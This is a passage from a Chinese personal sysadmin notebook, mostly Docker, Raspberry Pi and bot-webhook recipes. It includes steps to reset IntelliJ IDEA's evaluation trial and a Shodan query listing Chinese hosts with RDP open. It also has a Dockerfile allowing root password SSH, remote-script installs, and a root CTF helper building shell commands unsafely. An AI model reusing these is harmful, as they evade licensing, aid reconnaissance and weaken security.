{"conversationId":"cidoAgtPbnu9MyulIyt0kpNYg==","atUsers":[{"dingtalkId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW"}],"chatbotCorpId":"dingb1d0b0ca51cxxxxxx","chatbotUserId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW","msgId":"msgWjYj1k8LPNOBBy+jxNKwQw==","senderNick":"发送者姓名","isAdmin":false,"senderStaffId":"2665036700000000","sessionWebhookExpiredTime":1600622026555,"createAt":1600616626487,"senderCorpId":"dingb1d0b0ca51c029b24ac5d6980000000","conversationType":"2","senderId":"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV","conversationTitle":"群组标题","isInAtList":true,"sessionWebhook":"https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386","text":{"content":" 1+1"},"msgtype":"text"}
```
回复发送者一个666:
```
curl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H "Content-Type: application/json" --data '{"msgtype":"text", "text":{"content":"666"}, "at":{"atDingtalkIds":["$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV"]}}'
```
-----
## Go语言
### 安装
```
wget -q https://golang.org/dl/go1.15.3.linux-amd64.tar.gz &&\
tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
```
### 提取build失败缺失的库安装
```
go build |& grep cannot |cut -d'"' -f2|xargs go get
```
----
## IDEA2020.2 30天后重新试用
参考: http://scz.617.cn:8/windows/202010261152.txt
regedit找到HKCU\SOFTWARE\JavaSoft\Prefs\jetbrains\idea,其中会有目录包含evlsprt3\202,删掉这个目录里面的evlsprt和evlsprt2
然后删除这些目录:
```
rd /s /q "%APPDATA%\JetBrains\IntelliJIdea2020.2\eval"
del "%APPDATA%\JetBrains\PermanentDeviceId"
del "%APPDATA%\JetBrains\PermanentUserId"
del "%APPDATA%\JetBrains\bl"
del "%APPDATA%\JetBrains\crl"
```
编辑"%APPDATA%\JetBrains\IntelliJIdea2020.2\options\other.xml"
删除包含evlsprt.202或evlsprt2.202的行
----
## 树莓派到手后配置
一款新的树莓派4到手,默认为英国键盘布局不能输入@#符号,显示分辨率不够1080p,以及有线网络和无线网络优先级需要调整
### 修改键盘布局
查到有教程说`sudo raspi-config`里可以修改键盘布局,实测发现改了之后只敲了一次@之后又被改回去了,还是得修改输入法:
参考 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html
```
sudo apt install fcitx
reboot
```
右上角有输入法图标 管理键盘 删掉英国 加上英语(美国)即可
### 显示分辨率修改
参考 https://www.ncnynl.com/archives/201607/226.html
树莓派有两种hdmi输出模式,1是CEA电视,2是DMT电脑显示器
查看当前显示器支持的分辨率们:
```
tvservice -m CEA
tvservice -m DMT
```
实际上显示出来的并不一定完整,还需要自己多测试:例如设置为 640x480 60Hz
```
tvservice -e "DMT 4"
```
建议在终端里先敲这个命令 当显示不出来的时候可以按↑回车改回一个正常显示,不至于重启
完整的列表在上述参考链接中有了,可以自己多试试,切换分辨率后记得移动鼠标 不然不会显示
但是我希望的分辨率 1920x1080 60Hz不在DMT列表中,这就需要自定义分辨率了
修改`/boot/config.txt`,添加:
```
hdmi_cvt=1920 1080 60 3
hdmi_group=2
hdmi_mode=87
hdmi_drive=2
```
其中hdmi_cvt的解释: https://www.raspberrypi.org/documentation/configuration/config-txt/video.md
其中最后一个3是sdtv_aspect 长宽比 我这里是16:9 所以填了3
修改后重启即可,似乎目前树莓派也学聪明了,即使config.txt里配置了错误的值显示不出来,也会自动回退到720p保证显示
### 调整无线网络和有线网络的优先级
我希望外网访问(default路由)走wifi,内网访问(10.0.0.0/8)走有线,但默认联网后有线也会占据default路由而且优先级比无线高(跃点数小)
两个网络都是使用dhcp获取IP,所以可以在dhcp的配置文件里配置metric
参考: https://raspberrypi.stackexchange.com/a/50951
编辑`/etc/dhcpcd.conf`
```
interface wlan0
metric 200
interface eth0
metric 300
```
然后编辑dhcp的hook自动执行route命令:
参考 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29
编辑`/etc/dhcpcd.exit-hook`
```
route add -net 10.0.0.0/8 gw <网关ip> dev eth0
```
----
## 修改Electron应用
想让这个Electron应用浏览器打开自定义的页面,但人家没提供F12(虽然最后发现也没啥用Orz
参考: [吾爱破解-Electron跨平台程序破解的一般思路](https://www.52pojie.cn/thread-563895-1-1.html)
```
npm install asar -g
# 在resources目录可以找到app.asar,这样解包:
asar e app.asar tmp
# 修改后重新打包:
asar p tmp/ app.asar
```
具体的修改挺简单,找到入口的electron.js
注释掉new BrowserWindow的titleBarStyle: 'hidden', removeMenu() 修改.loadURL(url)
------
## Cloudflare免费账户 获取访问日志
原始日志只对付费的企业版开放,难道我们就没有方法获取访问日志来分析流量嘛?
看到防火墙的拦截日志,又发现“绕过”这个action也会记录日志,那我们就可以创建一个绕过本身就没有启用的防护,就能记录所有流量了。但注意这个防火墙日志是抽样记录的。
看F12 Network发现人家查询接口用的是GraphQL,然后发现需要通过introspection才能知道有哪些可用的字段
cloudflare的文档: https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics
实际的introspection请求:[https://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query](https://stackoverflow.com/a/44289026)
查询限制:一次分页可以获取最大10000条记录,filter必须有内容,时间跨度一次不能超过24小时
```python
import requests
from pprint import pprint
from datetime import timezone,datetime,timedelta
sess=requests.session()
from config import headers
def fetch(ts):
res = []
end = ts.strftime("%Y-%m-%dT%H:%M:%SZ")
start = (ts-timedelta(days=1)).strftime("%Y-%m-%dT%H:%M:%SZ")
x=sess.post("https://api.cloudflare.com/client/v4/graphql", headers=headers, data= '{"operationName":"ActivityLogQuery","variables":{"zoneTag":"8a4335a74373cec7fd053241dc3e3f41","filter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"},"limit":10000,"activityFilter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"}},"query":"query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64\\u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass __typename } __typename } __typename }}"}')
#print(x.json())
return x.json()["data"]["viewer"]['zones'][0]['activity']
logformat = ['datetime', 'clientIP', 'clientIPClass', 'edgeResponseStatus', 'originResponseStatus', 'clientRequestHTTPMethodName', 'clientRequestPath', 'clientRequestQuery', 'clientRequestHTTPProtocol', 'clientRefererScheme', 'clientRefererHost', 'clientRefererPath', 'clientRefererQuery', 'userAgent', 'action', 'clientASNDescription', 'clientAsn', 'clientCountryName', 'clientRequestHTTPHost', 'matchIndex', 'ruleId', 'sampleInterval', 'source', 'rayName']
fp=open("access.log", "w")
ts = datetime.now(tz=timezone.utc)
knownrays=set()
data = None
while data is None or len(data)==10000:
data = fetch(ts)
for i in data:
if i['rayName'] in knownrays:
continue
line = "\t".join(str(i[j]) for j in logformat)
fp.write(line+"\n")
last = data[-1]
knownrays.update([i['rayName'] for i in data if i['datetime']==last['datetime']])
print(last['datetime'], "len(knownrays)=",len(knownrays))
ts = datetime.strptime(last['datetime'], "%Y-%m-%dT%H:%M:%SZ")
```
然后就能分析例如访问最多的IP: `cut -d$'\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30`
----
## shodan 搜索开放特定端口的ip列表
这个需求只需要使用faucet即可,免费
举个例子:搜索3389的中国ip:
[https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip](https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip)
也可以使用shodan的python包来查询,需要注册一个账号得到api key:
```
import shodan
x=shodan.Shodan("APIKEY")
data=x.search("port:3389 country:cn", facets=['ip:10000'])
iplist=([i["value"] for i in data["facets"]["ip"]])
```
## 找到 /var/lib/docker/overlay2 对应的容器
硬盘空间不够,可能是docker占用了太多空间
参考 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/
```
ncdu /var/lib/docker/overlay2 #查看哪些目录占据空间最大
docker inspect $(docker ps -qa) | jq -r 'map([.Name, .GraphDriver.Data.MergedDir]) | .[] | "\(.[0])\t\(.[1])"' > docker-mappings.txt
```
================================================
FILE: Docker.md
================================================
## 搬运镜像
```
IMAGE=mysql
docker save $IMAGE | 7z a -si $IMAGE.tar.7z
7z x -so $IMAGE.tar.7z | docker load
```
## 安装Docker
```
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh --mirror Aliyun
```
## myubuntu 基础镜像
@TAG 时区 timezone
简单地将Docker当成虚拟机来使用的话,自然要准备个好用的基础镜像咯
基于目前最新的ubuntu18.04,配置apt源、pip源、时区、ssh允许密码登录
Dockerfile:
```
FROM ubuntu:18.04
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list # 修改apt源
RUN apt update && apt install -y ssh curl wget net-tools iputils-ping netcat python3-pip python-pip nano vim tzdata screen psmisc
RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime # 修改时区
RUN mkdir -p ~/.pip && echo '[global]\nindex-url = http://pypi.doubanio.com/simple/\n[install]\ntrusted-host=pypi.doubanio.com\n'> ~/.pip/pip.conf
RUN sed -i 's/prohibit-password/yes/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin/PermitRootLogin/g' /etc/ssh/sshd_config # 允许root用户密码登录
RUN echo root:badpassword|chpasswd # 记得修改这里的密码
ADD run.sh /
RUN chmod +x /run.sh
CMD /run.sh
```
run.sh:
```
#!/bin/bash
service ssh start
# 在容器内安装了mysql等之后可以在run.sh这里添加相应的启动命令
sleep infinity
```
build命令:
```
docker build -t myubuntu18 .
```
## Install 安装
建议参见[如何翻墙](https://github.com/zjuchenyuan/notebook/blob/master/code/ssprivoxy.txt),部署http proxy
安装之前,建议修改apt源
安装之前,或许要对内核升级,如果执行安装脚本发出了对aufs的警告,请先看下面的 _解决aufs的问题_
安装命令:
curl -fsSL get.docker.com -o get-docker.sh
sh get-docker.sh --mirror Aliyun
其中最后一步的apt-get install docker-engine耗时较长,看起来很像卡死,需要耐心等待
安装后执行docker version,没有报错即可
### 解决aufs的问题
```
apt-get install lxc wget bsdtar curl
apt-get install linux-image-extra-$(uname -r)
modprobe aufs
```
--------
## 加速镜像下载
> 在执行以下操作之前,请检查docker的版本:`docker -v`
> 如果你的docker版本为1.6.2,请参考下方 卸载docker
## 建议使用阿里云的镜像源
```
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://h0kyslzs.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
```
另外你也可以使用USTC的镜像源:参考 https://lug.ustc.edu.cn/wiki/mirrors/help/docker
-------
### Docker旧版本卸载
如果你的docker是使用apt-get install docker.io安装的,先执行以下命令卸载:
apt-get remove docker.io
apt-get autoremove
rm -rf /var/lib/docker
然后就可以执行安装命令了
--------
## 获得容器的ip
@TAG getip
```
alias getip="docker inspect --format '{{.NetworkSettings.IPAddress}}' "
getip 容器名称
```
这种方案对macvlan的容器不适用,参见 获取macvlan容器的IP
--------
## 导出导入
### 搬运镜像--save导出镜像
由于网络带宽(流量)往往是瓶颈资源,所以产生更小的压缩文件很有必要,这里我们可以生成 tar.7z 文件:`apt-get install -y p7zip-full`
docker save 镜像名称 | 7z a -si 导出文件名.tar.7z
这是生成tar.gz文件:
docker save 镜像名称 | gzip >导出文件名.tar.gz
### 搬运镜像--load载入镜像
如果是 tar.7z 文件,需要调用 7z 命令解压:
7z x -so 文件名.tar.7z | docker load
如果是 tar.gz 文件,可以直接载入:
docker load < 文件名.tar.gz
### Export导出容器 并不常用
直接导出容器并不常用,建议`docker commit 容器名称 保存成的镜像名称`,然后导出镜像
导出容器得到的是tar文件,没有进行压缩,我们需要手动执行压缩
docker export 容器的名称或ID | gzip >导出文件名.tar.gz
### Import导入容器
虽然上一步我们压缩了,但docker可以直接import,不需要用gunzip
docker import 文件名
--------
## 解决iptables failed - No chian/target/match by that name
如果docker安装的时候没有自动把需要的规则链加上,可以手动添加
iptables -t nat -N DOCKER
iptables -t filter -N DOCKER
附:如果需要删除链条,可以用`iptables-save`导出后手动编辑后`iptables-restore`
--------
## 迁移Docker文件夹到其他硬盘
当镜像多了起来的时候,/var/lib所在的磁盘分区很可能被占满,这时候要考虑迁移到其他硬盘,此处以迁移到`/home/docker`为例说明
```bash
# 首先记得关闭服务
service docker stop
mv /var/lib/docker /home/
# 然后修改服务配置文件/etc/default/docker,此处建议手动vim编辑,在启动参数中加入这个:
# --graph='/home/docker'
echo -e "\nDOCKER_OPTS=\"--graph='/home/docker'\"" >> /etc/default/docker
```
----
## 解决debian等容器没有ifconfig,killall的问题
```
apt-get install net-tools psmisc
```
----
## 设置容器低权限用户运行
@TAG user 安全最佳实践
在Dockerfile中加入
```
User nobody
```
容器运行后exec进去默认是nobody用户,并不能su啥的,这时候exec需要带参数-u表示用指定用户身份进入容器:
```
docker exec -i -t -u root 容器名称 /bin/bash
```
----
## 设置容器/etc/resolv.conf和/etc/hosts
在容器中这两个文件是以mount形式挂载的,不能unmount;即使进行修改,容器重启后修改就丢失了
其实这两个文件应该在容器创建的时候指定参数`--dns`和`--add-host`来加以控制:
```
docker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 容器名称
```
----
## 容器限制参数设置
当容器是开放给不可信域的时候(如部署一个CTF的pwn题目),虽然容器逃逸0-day我也没办法,但限制一下容器资源占用防止搅屎也是很有必要的
```
--cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart="always"
```
效果简介:如上配置最多占用 50% 单个 CPU ,最多占用100MB物理内存,容器内进程数目最多200个
`--cpu-shares`表示相对利用占比,不设置的默认值为1024,单个CPU是1024,只有当容器试图占用100%的CPU时才会体现作用,举个例子:
> From: http://blog.opskumu.com/docker-cpu-limit.html
> 假如一个 1core 的主机运行 3 个 container,其中一个 cpu-shares 设置为 1024,而其它 cpu-shares 被设置成 512。当 3 个容器中的进程尝试使用 100% CPU 的时候「尝试使用 100% CPU 很重要,此时才可以体现设置值」,则设置 1024 的容器会占用 50% 的 CPU 时间,其他两个容器则只能分别占用到 25% 的 CPU 时间。
> 如果主机是 3core,运行 3 个容器,两个 cpu-shares 设置为 512,一个设置为 1024,则此时每个 container 都能占用其中一个 CPU 为 100%。
`--cpu-period`表示按多少秒分片,例如设置为100000就是按100ms分割,同时设置`--cpu-quota`为50000就是50ms,效果是同时只能使用0.5个CPU
`--memory`限制容器使用的物理内存,当容器超出时,其中的进程会被kill,详细请参考http://blog.opskumu.com/docker-memory-limit.html
`--blkio-weight`表示IO相对权重,详细请参考[http://blog.opskumu.com/docker-io-limit.html](http://blog.opskumu.com/docker-io-limit.html)
----
## 快速部署ftp
@TAG vsftpd
vsftpd的配置真是让人头疼,不如`docker search ftp`一番,然后google一下找到对应的[Docker Hub页面](https://hub.docker.com/r/stilliard/pure-ftpd/)
使用步骤:
```
docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST=localhost" -v /path/to/the_ftp_directory:/data stilliard/pure-ftpd:hardened
docker exec -it ftpd_server /bin/bash
#进入容器后创建用户
pure-pw useradd bob -f /etc/pure-ftpd/passwd/pureftpd.passwd -m -u ftpuser -d /data
```
----
## 快速部署wordpress
@TAG sub_filter
想搭建一个自己的blog,选择玩一玩wordpress咯,这里记录一下完整的流程和遇到的问题及解决方案
技术相关: Docker Nginx HTTPS
目标: 快速搭建一个全站https的wordpress站点,域名为example.com
### 完整流程:
1. 前期准备:域名+vps
注册域名 如果面向国内访问,还需要备案咯;别忘了配置DNS解析
买个vps服务器,建议选择香港vps
2. 安装Docker和Nginx
```
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh --mirror Aliyun
apt-get install -y nginx
```
3. 启动一个mysql的镜像:
```
# Google搜索关键词 "docker mysql"
docker run --name mysql -e MYSQL_ROOT_PASSWORD=这里改成你想设置的密码 -d mysql
# Google搜索关键词 "docker wordpress"
docker run --name wp --link mysql:mysql -p 6666:80 -d wordpress
```
4. 域名https证书获取以及启用https访问,此部分具体见[Nginx.md](Nginx.md)中`获得Let's encrypt免费https证书`和`配置安全的https`部分
5. 配置Nginx,完整配置如下:
```
server{
server_name *.example.com example.com;
location /.well-known/acme-challenge { #这是let's encrypt申请证书的时候用到的目录
alias /tmp/acme/;
try_files $uri =404;
}
location /{
rewrite ^ https://$host$request_uri? permanent;
}
}
server{
server_name *.example.com example.com;
include https.conf;
access_log /var/log/nginx/example_access.log;
error_log /var/log/nginx/example_error.log;
ssl_certificate /home/keys/example.crt;
ssl_certificate_key /home/keys/example.key;
location / {
proxy_pass http://127.0.0.1:6666;
proxy_set_header Host $host;
proxy_set_header Accept-Encoding ""; #禁止后端返回gzip内容,保证能够替换
sub_filter_once off; #多次替换 不只是替换一次
sub_filter "http://www.example.com" "https://www.example.com";
}
}
```
### 遇到的坑
1. docker run的时候忘记-p参数
建议还是把端口映射出来,在容器重启后容器的内网IP是会发生变化的,不适合将172.17.0.*这种IP写入nginx配置
此时我选择了`docker rm -f 容器ID`强制删掉容器,再加上-p参数后启动
2. 全站https
虽然我的https.conf中定义了HSTS,浏览器也确实会把所有的请求都自动用https协议访问,但是还是由于form的action为http协议而警告不安全(在Chrome开发人员工具的Console看到),也没有小绿锁显示。所以要保证服务器输出给浏览器的内容就是https的链接
一开始选择了官方wordpress的方法(Google关键词"wordpress https"),结果导致了下文第三点的折腾
最终选择的方案是在nginx反向代理的时候替换文本内容,使用sub_filter这个模块进行文本内容替换
遇到了问题,这个sub_filter不起作用,(Google关键词 "sub_filter not working")原因是容器返回的内容启用了gzip,无法替换,方法是加入一行配置禁止容器的Apache使用gzip: proxy_set_header Accept-Encoding "";
参考:
http://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working
3. 由于在后台修改了Wordpress Address和Site Address改为https的链接,导致后台无法打开,重定向死循环
解决方案是进入mysql容器手动修改,把进行的修改改回去
问题在于我也并不知道改了啥,在终端mysql`select * from wp_options;`有些行太长导致关键内容刷屏而过,不方便查看表
我的方法是先`mysqldump -p密码 wordpress >test.sql`,再用nano打开test.sql,用Ctrl+W搜索https(Google关键词"nano search"),把对应的地方找到改回http,保存后用`mysql -p密码 wordpress < test.sql`导入数据库 完事~
----
## Dockerfile 中的 apt-get
为了让 apt-get 顺利静默执行,需要配置环境变量防止交互:
```
DEBIAN_FRONTEND=noninteractive apt-get install -y ...
```
----
## 让Docker容器得到内网IP
这里的内网不是只有主机可以访问的容器Docker内网,而是主机接入的企业内网这种;如果你能直接通过设置IP获得公网IP,当然按照这个方法也能给容器分配公网IP
注意:此方法Docker容器虽然获得了和主机地位相同的IP,但容器无法使用主机的IP与主机通讯,主机好像也不能访问容器的IP,这是Linux内核为了隔离性和安全性做出的限制
参考:
> [不用端口转发给容器分配公网IP地址 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.](https://micropyramid.com/blog/assign-public-ip-address-to-docker-container-without-port-binding/)
> [Macvlan and IPvlan basics](https://sreeninet.wordpress.com/2016/05/29/macvlan-and-ipvlan/)
> [Docker Networking Tip – Macvlan driver](https://sreeninet.wordpress.com/2017/08/05/docker-networking-tip-macvlan-driver/)
> [PPT Docker Networking - Common Issues and Troubleshooting Techniques](https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques)
做法也很简单,首先创建一个Macvlan类型的docker网络,然后在创建容器的时候加入这个网络并指定IP/不指定则自动分配
例子:主机(网卡eth0)的IP为10.1.1.2,网关为10.1.1.1,主机所处的IP段是10.1.1.1/24,在该网段内主机可以任意获得IP,我们希望容器分配在10.1.1.65~10.1.1.126之间 (即 10.1.1.64/26)
附: [这是一个输入Network 10.1.1.64/26转换为HostMin 10.1.1.65~ HostMax 10.1.1.126的计算器](http://jodies.de/ipcalc?host=10.1.1.64&mask1=26&mask2=)
```
docker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network
docker run --net=macvlan_network --ip=10.1.1.100 -d nginx
```
现在你可以访问 `http://10.1.1.100` 来看到nginx的欢迎页面了,你需要在内网另一台机器上访问(我的发现是主机和这样分配的容器是不互通的)
!!! warning "可能的IP冲突"
启动容器时可以不指定ip让docker自动分配,警告:如果没有配置ip-range参数,有可能被分配的恰好是主机本身的IP,这种情况将导致主机丢失IP无法联网!
万一发生这种虚拟机把主机的IP抢占的情况,在没有物理控制方法下不可轻易使用ifconfig修改主机IP,因为一旦使用ifconfig主机的route将被清空、当前主机的其他IP也会丢失,你就丢失远程访问的可能了(也许你可以写一个脚本自动恢复route稳妥一点);但神奇的是即使主机route已经丢失,按照上述macvlan开出来的Docker容器仍然在线(也可以理解——容器的route并没有受到影响,类似于Virtualbox的桥接网卡方式)
### 获取macvlan容器的IP
@TAG getip
```
# clean version
docker inspect --format "{{.NetworkSettings.Networks.macvlan网络名称.IPAddress}}" 容器名称
# dirty but quick version
docker inspect 容器名称 | grep IP
```
### macvlan查看已经分配的IP
由于主机和容器不能互通,所以主机如何得知目前已经分配的IP列表呢?用docker network inspect咯,然后用python处理一下输出格式
下面这个命令列出了容器IP和容器名称:
```
docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}" | python3 -c 'print(input().replace("/24@","\t").replace(",,,","\n"),end="")'|sort
```
如果只需要IP列表:
```
docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}},{{end}}" | python3 -c 'print(input().replace("/24,","\n"),end="")'|sort
```
### 主机访问macvlan的容器
由于内核限制并不支持host直接使用上述指定的ip访问容器,而docker network connect让容器再加入一个网络又会改变容器的默认路由,但我就是想让主机能访问到容器,咋办哩?
参考:http://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/
想访问的容器IP为10.1.1.66,这种方法需要让主机再获得一个IP,例如10.1.1.3。注意这种配置是不持久的,重启后丢失
```
DEVICE_NAME="eth0"
NAME="mynet-shim"
HOST_GETIP="10.1.1.3"
TARGET_IP="10.1.1.66"
ip link add $NAME link $DEVICE_NAME type macvlan mode bridge
ip addr add $HOST_GETIP/32 dev $NAME
ip link set $NAME up
ip route add $TARGET_IP/32 dev $NAME
```
----
## 使用iptables端口转发让Docker容器得到内网IP
上述基于macvlan的方法容器无法与主机通讯,所以下述基于iptables端口转发的方法更胜一筹
这种方法基于主机自己去获得一个额外的内网ip后,用iptables端口转发来实现给容器内网IP的效果,容器应用可以得到请求源IP,但容器向外发起的tcp请求还是主机自身的默认IP
该脚本运行时需要两个参数 第一个为容器名称 第二个为新的IP后缀
举个例子 主机在10.12.34.x这个内网地址段 且可以随意得到这个地址段的内网IP,现在要给mysql容器10.12.34.202这个IP,运行方式就是`./give_container_ip.sh mysql 202`
记得修改下面的IPPREFIX和ETH0变量!
### give_container_ip.sh
@TAG 端口转发
```
#!/bin/bash
set -ex
shopt -s expand_aliases
if [ -z $1 ] && [ -z $2 ]; then
echo "Usage: $0 <container name> <new IP suffix>"
echo "Example: $0 u202 202"
exit 1
fi
alias getip="docker inspect --format '{{.NetworkSettings.IPAddress}}' "
IPPREFIX="10.12.34."
ETH0="eth0"
sudo ifconfig $ETH0:$2 $IPPREFIX$2 netmask 255.255.255.0 up
sudo iptables -t nat -I PREROUTING -d $IPPREFIX$2 -p tcp -j DNAT --to `getip $1`
sudo iptables -t nat -I POSTROUTING -s `getip $1`/32 -d `getip $1`/32 -p tcp -m tcp -j MASQUERADE
```
为什么最后用MASQUERADE而不用SNAT呢?因为用SNAT容器的应用就不能得到请求的源IP,在实际应用中是无法接受的;这一条iptables规则是我用`docker run -p`和`iptables-save`得到的
----
## 对容器网络流量tcpdump
Learned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques
```
docker run -ti --net container:<containerid> nicolaka/netshoot tcpdump -i eth0 -n port 80
```
举个例子,上述启动了nginx容器并分配了内网ip 10.1.1.100,我们来收集80端口的流量,并保存到/tmp/pcapfiles/nginx.pcap文件:
```
docker run -ti --net container:f5fc -v /tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80
```
[查看tcpdump参数解释explainshell](http://explainshell.com/explain?cmd=tcpdump%20-i%20eth0%20-n%20-s0%20-w%20/data/nginx.pcap%20port%2080)
----
## 修改正在运行的容器的重启策略
docker run的时候忘了指定restart=always,除了commit后再正确地run一遍之外有没有更加优雅的修改容器参数的方法呢?
参考: https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created
在1.11版本后有了`docker update`这个命令,可以修改正在运行的容器的参数,如CPU限制、内存限制 和 重启策略
使目前运行的所有容器都设置为自动重启:
```
docker update --restart=always `docker ps -q`
```
如果要取消这个自动重启,改为`--restart=no`即可
----
## 快速部署samba
@TAG share
镜像地址:[dperson/samba](https://hub.docker.com/r/dperson/samba/)
快速分享一个目录/data,用户名`user`密码`badpassword`:
```
docker run -d -p 139:139 -p 445:445 --name samba -v /data:/data dperson/samba -u "user;badpassword" -s "data;/data;yes;no;no;all"
```
其中-u指定用户名密码;-s参数的格式为:
给访问者看的分享名称;物理位置;是否列出;未登录可否访问;允许访问的用户(all表示所有用户)
----
## 按需分配容器 过期自动销毁
@TAG ctf xinetd
有些题目需要给每个人单独的容器,为了节约资源还需要设置一个时间,过期后自动删除容器
为了防止滥用还要引入Proof Of Work,回答正确后才分配容器
!!! warning
该代码直接用的docker命令来创建容器,且需要root权限,注意使用上的安全风险
代码如下:`utils.py`
```python
#/usr/bin/python3
#coding:utf-8
import subprocess
import time
import string
import os
import hashlib
import random
from random import randint
# 限时设定
def clock(timeout=5):
import signal
def signal_handler(signum,data):
if signum == signal.SIGALRM:
print("Time is up!")
exit()
signal.signal(signal.SIGALRM, signal_handler)
signal.alarm(int(timeout))
# 生成随机字符串
def randomstring(len=5):
return ''.join(random.sample(string.ascii_letters,len))
# 计算md5
def md5(src):
return hashlib.md5(bytes(src,encoding='utf-8')).hexdigest()
# 显示一个随机字符串,要求用户计算其md5
def pow_calcmd5():
question = randomstring()
answer = md5(question)
print("Please calculate md5(%s)="%question,end='')
if input()!=answer:
exit()
# 显示一个随机字符串,要求用户输入另一个字符串满足md5以difficulty个0开头
def pow_realmd5(difficulty=4):
question = randomstring()
print("[Proof Of Work]")
print("Please calculate s, make that \n md5(\"%s\"+s).startswith('%s')"%(question,'0'*difficulty))
print("Input your s:",end='')
s = input()
if not md5(question+s).startswith('0'*difficulty):
exit()
# 从镜像启动容器
def start_container(image, port, paramstring):
"""
image:镜像名称
port: 需要映射的端口
paramstring: 额外的参数设置字符串 如"-v /d/blabla:/data"
返回(容器ID, 映射得到的端口)
"""
container = subprocess.check_output("docker run -d -p :"+str(port)+" "+paramstring+" "+image+" /run.sh",shell=True).decode().replace("\n","")
inspect = subprocess.check_output("docker inspect --format '{{.NetworkSettings.Ports}}' %s"%container,shell=True).decode().replace("\n","")
openport = inspect.split("{")[1].split()[1].split("}")[0]
return (container, openport)
# 计划在minutes分钟后销毁容器container 需要atd服务
def plan_stop_container(container, minutes):
PATH = os.getcwd()
minutes = str(minutes)
filename = "%s_%d"%(time.strftime("%Y_%m_%d_%H_%M_%S"),randint(0,666))
open(PATH+"/"+filename,"w").write("docker kill %s && docker rm %s && rm %s/%s"%(container,container,PATH,filename))
subprocess.check_output("at now + %s minutes -f %s 2>/dev/null"%(minutes,filename),shell=True)
# 生成一个runner的二进制程序,xinetd并不支持直接运行python
if __name__ == "__main__":
print("[*] writing to runner.c")
path = os.getcwd()
open("runner.c","w").write("""#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
chdir("%s");
system("python3 %s/runner.py");
return 0;
}
"""%(path, path))
print("[*] compile runner.c to runner")
os.system("gcc runner.c -o runner")
```
用到的xinetd配置:`runner.conf`,注意保存的时候不能有\r `:set ff=unix`
```
service 题目名称
{
socket_type = stream
protocol = tcp
wait = no
user = root
bind = 0.0.0.0
server = /绝对路径/runner
type = UNLISTED
port = 端口号
disable = no
}
```
----
## 在容器A中使用别名访问容器B
容器A是web应用,需要访问redis的容器B,如果用docker inspect拿到现在容器B的IP写入到配置,一旦docker重启这个容器IP就会发生变化
更好的方式是使用docker的自定义网络:创建网络,把redis加入网络,把app加入网络
```
docker network create useredis
docker network connect --alias redis useredis redis
docker network connect --alias app useredis app
```
在加入网络的时候指定--alias即可,网络中的其他容器就能通过这个alias访问到,这样操作后app容器里面就能ping redis了
----
## 修复Docker更新到18.02后部分容器无法start的问题
apt说可以更新,于是就更新了,然而却悲催地发现部分容器无法启动,报错信息:
